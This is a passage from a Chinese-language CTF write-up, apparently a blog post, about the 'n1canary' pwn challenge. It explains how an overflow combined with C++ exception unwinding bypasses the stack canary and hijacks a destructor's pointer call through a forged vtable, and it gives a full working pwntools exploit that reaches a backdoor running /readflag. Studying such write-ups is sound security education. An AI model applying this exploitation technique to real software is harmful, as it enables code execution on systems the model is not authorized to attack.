  if ( result )
    raise("*** stack smash detected ***");
  return result;
}

void __fastcall __noreturn raise(const char *a1)
{
  std::runtime_error *exception; // rbx

  puts(a1);
  exception = (std::runtime_error *)_cxa_allocate_exception(0x10uLL);
  std::runtime_error::runtime_error(exception, a1);
  _cxa_throw(exception, (struct type_info *)&`typeinfo for'std::runtime_error, std::runtime_error::~runtime_error);
}

异常处理流程最终调用到的析构函数处存在指针调用,但此时指针已被我们提前利用溢出数据控好了,造成任意代码执行

可以直接动调一下 raise() 函数内部,然后再看看函数返回哪里呢。可以在一些地方下断点调试看看,比如 0x403291 处的抛出异常0x403432 处的调用析构函数,最后在 0x4038fc 出现 crash,原因是不合法的 RAX,它的值是 BOFApp 类对象指针 v6,这是可以利用溢出写到那的,所以是可控的,继续往下看后面的汇编,会发现只要控了 RAX 就能够控到 RDX,在最后的 call rdx; 处便能造成任意代码执行

image-20240713162506821

由于 user_canary 可控,可以尝试在这里伪造虚函数表并将指针劫持到这,这是构造好的 exp 运行到此处时的参数情况

image-20240713174704211

成功执行到后门函数

image-20240713174800878

另外提一嘴,上面提到了避开 canary 检测执行到析构函数,笔者是这样理解的:在程序正常运行时应该是在执行完 launch() 函数后执行析构函数,但在 raise() 函数里却有异常被抛出,而且回溯了整条函数调用链,包括 raise() 函数本身,都没看见有能处理此异常的 catch 代码块,合理猜测最终将会由 handler 执行析构函数,在此过程中自然也绕过了程序自身的 __stack_chk_fail_local 检测

其实在创建对象的函数里,创建对象时会有构造函数,函数返回处会有析构函数。但当该函数运行到一半就抛出了异常时,若在当前函数内不能正常捕捉异常,那这个函数剩下的部分便不会再被执行到了,自然也不会运行到函数返回处的那个析构函数。但是程序依旧是需要去运行析构函数销毁对象的,达到释放资源的目的,这种情况下应该是在 handler 中调用到析构函数的

最终的 exp 如下,还有一点要注意的是,中途覆盖到的函数返回地址是不能乱填的,具体原因详见 “0x00 前置知识” 处,与 unwind() 函数里的检测有关,所以 ret 填回原来的 0x403407

from pwn import *
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ["tmux", "splitw", "-h"]
pwnfile = './n1canary'
p = process(pwnfile)

def debug(content=None):
    if content is None:
        gdb.attach(p)
        pause()
    else:
        gdb.attach(p, content)
        pause()

def exp():
    # debug('b *0x403547')
    # b *0x40340D               # Destructor
    # b *0x403909               # pointer call
    # b *0x403291               # raise->throw
    # b *0x403432               # <main+146>    call std::unique_ptr<BOFApp, std::default_delete<BOFApp> >::~unique_ptr()
    # b *0x4038fc
    backdoor = 0x403387
    user_canary = 0x4F4AA0
    payload = p64(user_canary+8) + p64(backdoor)*2
    payload = payload.ljust(0x40, 'a')
    p.sendafter('canary\n', payload)

    payload = 'a'*(0x70-0x8)
    payload += p64(0x403407)    # ret
    # payload += 'a'*(0x8)
    payload += p64(user_canary) # BOFApp *v6
    # p.sendlineafter(' to pwn :)\n', payload)

exp()
p.interactive()

后门命令执行了 /readflag

image-20240713163929851

参考

溢出漏洞在异常处理中的攻击利用手法-上

溢出漏洞在异常处理中的攻击利用手法-下

C++异常机制的实现方式和开销分析

posted @ 2024-07-21 16:20  ve1kcon  阅读(150)  评论(0编辑  收藏  举报